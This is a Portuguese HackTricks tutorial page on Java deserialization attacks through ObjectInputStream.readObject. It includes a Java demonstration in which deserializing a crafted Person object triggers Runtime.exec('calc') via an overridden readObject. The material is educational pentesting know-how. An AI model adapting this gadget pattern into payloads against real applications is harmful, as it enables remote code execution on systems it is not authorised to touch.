hacktricks/pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md
2023-06-06 18:56:34 +00:00

5.4 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Neste POST, será explicado um exemplo usando java.io.Serializable.

Serializable

A interface Java Serializable (java.io.Serializable é uma interface marcadora que suas classes devem implementar se elas forem ser serializadas e desserializadas. A serialização de objetos Java (escrita) é feita com o ObjectOutputStream e a desserialização (leitura) é feita com o ObjectInputStream.

Vamos ver um exemplo com uma classe Person que é serializável. Esta classe sobrescreve a função readObject, então quando qualquer objeto desta classe é desserializado, esta função será executada.
No exemplo, a função readObject da classe Person chama a função eat() de seu animal de estimação e a função eat() de um cachorro (por alguma razão) chama um calc.exe. Vamos ver como serializar e desserializar um objeto Person para executar esta calculadora:

import java.io.Serializable;
import java.io.*;

public class TestDeserialization {
    interface Animal {
        public void eat();
    }
    //Class must implements Serializable to be serializable
    public static class Cat implements Animal,Serializable {
        @Override
        public void eat() {
            System.out.println("cat eat fish");
        }
    }
    //Class must implements Serializable to be serializable
    public static class Dog implements Animal,Serializable {
        @Override
        public void eat() {
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                e.printStackTrace();
            }
            System.out.println("dog eat bone");
        }
    }
    //Class must implements Serializable to be serializable
    public static class Person implements Serializable {
        private Animal pet;
        public Person(Animal pet){
            this.pet = pet;
        }
        //readObject implementation, will call the readObject from ObjectInputStream  and then call pet.eat()
        private void readObject(java.io.ObjectInputStream stream)
                throws IOException, ClassNotFoundException {
            pet = (Animal) stream.readObject();
            pet.eat();
        }
    }
    public static void GeneratePayload(Object instance, String file)
            throws Exception {
        //Serialize the constructed payload and write it to the file
        File f = new File(file);
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        //Read the written payload and deserialize it
        ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
        Object obj = in.readObject();
        System.out.println(obj);
        in.close();
    }
    public static void main(String[] args) throws Exception {
        // Example to call Person with a Dog
        Animal animal = new Dog();
        Person person = new Person(animal);
        GeneratePayload(person,"test.ser");
        payloadTest("test.ser");
        // Example to call Person with a Cat
        //Animal animal = new Cat();
        //Person person = new Person(animal);
        //GeneratePayload(person,"test.ser");
        //payloadTest("test.ser");
    }
}

Este exemplo foi retirado de https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649

Conclusão

Como você pode ver neste exemplo muito básico, a "vulnerabilidade" aqui aparece porque a função readObject está chamando outras funções vulneráveis.